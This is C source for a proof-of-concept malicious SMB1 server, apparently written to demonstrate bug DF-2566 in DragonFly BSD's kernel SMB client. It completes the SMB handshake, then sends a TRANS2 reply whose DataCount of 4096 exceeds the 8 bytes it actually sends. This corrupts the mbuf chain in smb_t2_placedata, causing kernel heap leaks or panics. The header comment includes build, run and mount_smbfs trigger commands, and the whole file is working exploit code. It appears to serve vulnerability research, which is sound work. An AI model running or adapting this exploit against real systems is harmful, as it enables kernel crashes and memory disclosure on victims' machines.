/*
 * DF-2566 malicious SMB1 server.
 *
 * Speaks just enough SMB1 (NetBIOS session + NegProt + SessionSetupAndX +
 * TreeConnectAndX) over TCP/139-equivalent to make the DragonFly netsmb
 * client (mount_smbfs) reach a TRANS2, then replies to that TRANS2 with a
 * DataCount (dcount) LARGER than the actual response payload.  The kernel's
 * smb_t2_placedata() computes:
 *
 *     m->m_len -= len - count;        // smb_rq.c:436
 *
 * with no `count <= len` check, so the oversized dcount (=count) wraps the
 * last mbuf's m_len up by (count-len), corrupting the chain.  The subsequent
 * md_get_mem over the corrupted chain reads past the mbuf -> kernel heap
 * info-leak / page-fault panic.
 *
 * Build (guest): cc -o smb_evil smb_evil.c
 * Run (guest):   ./smb_evil <listen_port>     # then mount_smbfs to it
 *
 * Trigger (guest): mount_smbfs -N -I 127.0.0.1:<port> //guest@127.0.0.1/share /mnt/s
 *   (-N = no password prompt; share-level/no-encrypt negotiate avoids auth)
 *
 * Reachable as the unprivileged maxx user too (port >1024), but the mount
 * itself needs root; the CORRUPTION is in the kernel SMB client regardless.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

static int verbose = 1;

/* ---- SMB header (32 bytes) ----
 * [0-3] 0xff S M B
 * [4]   Command
 * [5-8] NT status (LE)
 * [9]   Flags
 * [10-11] Flags2 (LE)
 * [12-13] PID High
 * [14-21] Signature
 * [22-23] Reserved
 * [24-25] TID
 * [26-27] PID Low
 * [28-29] UID
 * [30-31] MID
 */
static void put32(unsigned char *b, int off, uint32_t v){ int i; for(i=0;i<4;i++) b[off+i]=(v>>(8*i))&0xff; }
static void put16(unsigned char *b, int off, uint16_t v){ b[off]=v&0xff; b[off+1]=(v>>8)&0xff; }

/* read exactly n bytes */
static int readn(int fd, void *buf, size_t n){
    size_t got=0; unsigned char *p=buf;
    while(got<n){ ssize_t r=read(fd,p+got,n-got); if(r<=0) return -1; got+=r; }
    return 0;
}
static int writen(int fd, const void *buf, size_t n){
    size_t put=0; const unsigned char *p=buf;
    while(put<n){ ssize_t r=write(fd,p+put,n-put); if(r<=0) return -1; put+=r; }
    return 0;
}

/* send an SMB message prefixed with 4-byte NetBIOS session header */
static void send_smb(int fd, const unsigned char *msg, size_t len){
    unsigned char hdr[4];
    hdr[0]=0x00; hdr[1]=0x00;
    hdr[2]=(len>>8)&0xff; hdr[3]=len&0xff;
    if(writen(fd,hdr,4)<0||writen(fd,msg,len)<0){ perror("write"); }
    if(verbose){ fprintf(stderr,"  [srv] send %zu-byte SMB (cmd=0x%02x)\n", len, msg[4]); }
}

/* build a 32-byte SMB header echoing tid/pid/uid/mid from request */
static void mkhdr(unsigned char *h, uint8_t cmd, uint32_t status,
                  uint16_t tid, uint16_t pid, uint16_t uid, uint16_t mid){
    memset(h,0,32);
    h[0]=0xff; h[1]='S'; h[2]='M'; h[3]='B';
    h[4]=cmd;
    put32(h,5,status);
    h[9]=0x80;             /* Flags: reply bit */
    put16(h,10,0x0000);    /* Flags2 */
    put16(h,24,tid); put16(h,26,pid); put16(h,28,uid); put16(h,30,mid);
}

static void handle_client(int cfd){
    unsigned char nb[4], *buf;
    /* ---- NetBIOS session request ---- */
    if(readn(cfd,nb,4)<0) return;            /* NBSS hdr */
    uint32_t rlen=((nb[1]&1)<<16)|(nb[2]<<8)|nb[3];
    if(rlen>0x10000){ return; }
    buf=malloc(rlen?rlen:1);
    if(rlen && readn(cfd,buf,rlen)<0){ free(buf); return; }
    if(verbose) fprintf(stderr,"[srv] NBSSN request type=0x%02x len=%u -> POSRESP\n", nb[0], rlen);
    free(buf);
    /* positive session response */
    unsigned char posresp[4]={0x82,0x00,0x00,0x00};
    if(writen(cfd,posresp,4)<0) return;

    uint16_t uid=0x0100, tid=0x0200;
    for(;;){
        if(readn(cfd,nb,4)<0) return;
        if(nb[0]!=0x00){ return; }            /* only session messages */
        uint32_t mlen=((nb[1]&1)<<16)|(nb[2]<<8)|nb[3];
        if(mlen==0||mlen>0x100000) return;
        buf=malloc(mlen);
        if(readn(cfd,buf,mlen)<0){ free(buf); return; }
        if(memcmp(buf,"\xffSMB",4)!=0){ free(buf); return; }
        uint8_t cmd=buf[4];
        uint16_t pid=buf[26]|(buf[27]<<8);
        uint16_t rq_tid=buf[24]|(buf[25]<<8);
        uint16_t rq_uid=buf[28]|(buf[29]<<8);
        uint16_t mid=buf[30]|(buf[31]<<8);
        if(verbose) fprintf(stderr,"[srv] recv cmd=0x%02x pid=%u tid=%u uid=%u mid=%u len=%u\n",
                            cmd,pid,rq_tid,rq_uid,mid,mlen);

        unsigned char resp[512];
        size_t resplen;
        switch(cmd){
        case 0x72: { /* NEGOTIATE -> NT LM 0.12, share-level, no encrypt */
            unsigned char *h=resp;
            mkhdr(h,0x72,0,rq_tid,pid,rq_uid,mid);
            int o=32;
            h[o++]=17;                 /* WordCount = 17 */
            put16(h,o,7); o+=2;        /* DialectIndex = 7 (NT LM 0.12) */
            h[o++]=0x00;               /* SecurityMode: share, no encrypt, no sigs */
            put16(h,o,16); o+=2;       /* MaxMux */
            put16(h,o,1); o+=2;        /* MaxVcs */
            put32(h,o,65536); o+=4;    /* MaxTx */
            put32(h,o,0); o+=4;        /* MaxRaw */
            put32(h,o,0); o+=4;        /* SessionKey */
            put32(h,o,0x0000); o+=4;   /* Capabilities: none (avoid Win95 path via MaxTx) */
            put32(h,o,0); put32(h,o+4,0); o+=8; /* SystemTime */
            put16(h,o,0); o+=2;        /* TimeZone */
            h[o++]=0;                  /* ChallengeLength = 0 */
            put16(h,o,0); o+=2;        /* ByteCount = 0 */
            resplen=o;
            send_smb(cfd,resp,resplen);
            break;
        }
        case 0x73: { /* SESSION_SETUP_ANDX -> success */
            unsigned char *h=resp;
            mkhdr(h,0x73,0,rq_tid,pid,rq_uid,mid);
            uid=rq_uid?rq_uid:0x0100;
            put16(h,28,uid);           /* UID in response */
            int o=32;
            h[o++]=3;                  /* WordCount = 3 */
            h[o++]=0xff; h[o++]=0;     /* AndXCommand = ff, reserved */
            put16(h,o,0); o+=2;        /* AndXOffset */
            put16(h,o,0); o+=2;        /* Action */
            put16(h,o,0); o+=2;        /* ByteCount = 0 */
            resplen=o;
            send_smb(cfd,resp,resplen);
            break;
        }
        case 0x75: { /* TREE_CONNECT_ANDX -> success */
            unsigned char *h=resp;
            tid=rq_tid?rq_tid:0x0200;
            mkhdr(h,0x75,0,tid,pid,rq_uid,mid);
            int o=32;
            h[o++]=3;                  /* WordCount = 3 */
            h[o++]=0xff; h[o++]=0;
            put16(h,o,0); o+=2;        /* AndXOffset */
            put16(h,o,0); o+=2;        /* OptionalSupport */
            put16(h,o,6); o+=2;        /* ByteCount = 6 */
            /* Service type "A:" + null, native FS "FAT" + null */
            memcpy(h+o,"A:\0FAT",6); o+=6;
            resplen=o;
            send_smb(cfd,resp,resplen);
            break;
        }
        case 0x32: { /* TRANSACTION2 -> MALICIOUS: oversized DataCount */
            unsigned char *h=resp;
            mkhdr(h,0x32,0,rq_tid,pid,rq_uid,mid);
            int o=32;
            h[o++]=10;                 /* WordCount = 10 */
            put16(h,o,0);    o+=2;     /* TotalParameterCount = 0 */
            put16(h,o,0x1000); o+=2;   /* TotalDataCount = 4096 (claim) */
            put16(h,o,0);    o+=2;     /* Reserved */
            put16(h,o,0);    o+=2;     /* ParameterCount = 0 */
            put16(h,o,0);    o+=2;     /* ParameterOffset = 0 */
            put16(h,o,0);    o+=2;     /* ParameterDisposition = 0 */
            put16(h,o,0x1000); o+=2;   /* DataCount = 4096  <<<< OVERSIZED */
            put16(h,o,0);    o+=2;     /* (DataOffset filled below) */
            put16(h,o,0);    o+=2;     /* DataDisposition = 0 (ddisp=0, first) */
            h[o++]=0; h[o++]=0;        /* SetupCount=0 + reserved (word10) */
            put16(h,o,8);   o+=2;      /* ByteCount = 8 (actual payload) */
            /* DataOffset = offset from SMB header start (byte 0) to the data.
             * SMB header(32) + wc(1) + 7 words(14) = 47 is where the
             * DataOffset field lives; the data itself starts after all 10
             * words + ByteCount. */
            int doff = o;              /* data begins right here */
            put16(h, 47, doff);        /* patch DataOffset field (word8 @ byte 47) */
            memset(h+o,0x41,8); o+=8;  /* 8 bytes of 'A' as the "data" */
            resplen=o;
            fprintf(stderr,"[srv] *** MALICIOUS TRANS2: dcount=4096 doff=%d actual=%d -> smb_t2_placedata m_len corruption\n", doff, 8);
            send_smb(cfd,resp,resplen);
            break;
        }
        default: {
            /* STATUS_NOT_IMPLEMENTED / DOS error so the client gives up cleanly
             * on commands we don't need (echo, etc.) */
            unsigned char *h=resp;
            mkhdr(h,cmd,0xC0000022u /* STATUS_NOT_IMPLEMENTED-ish NT */,
                  rq_tid,pid,rq_uid,mid);
            /* mark as DOS error class so smb_rq_reply maps to EBADRPC cleanly */
            h[5]=0x02; h[6]=0; h[7]=0; h[8]=0; /* DOS ERRSRV <<32 placeholder */
            int o=32; h[o++]=0; put16(h,o,0); o+=2;
            resplen=o;
            send_smb(cfd,resp,resplen);
            break;
        }
        }
        free(buf);
    }
}

int main(int argc, char **argv){
    int port = argc>=2 ? atoi(argv[1]) : 1139;
    signal(SIGPIPE,SIG_IGN);
    int s=socket(AF_INET,SOCK_STREAM,0);
    int one=1; setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&one,sizeof(one));
    struct sockaddr_in sa; memset(&sa,0,sizeof(sa));
    sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
    sa.sin_port=htons(port);
    if(bind(s,(struct sockaddr*)&sa,sizeof(sa))<0){ perror("bind"); return 1; }
    if(listen(s,1)<0){ perror("listen"); return 1; }
    fprintf(stderr,"[srv] malicious SMB1 server listening on 127.0.0.1:%d\n", port);
    for(;;){
        int c=accept(s,NULL,NULL);
        if(c<0) continue;
        fprintf(stderr,"[srv] client connected\n");
        handle_client(c);
        close(c);
        fprintf(stderr,"[srv] client done\n");
    }
    return 0;
}
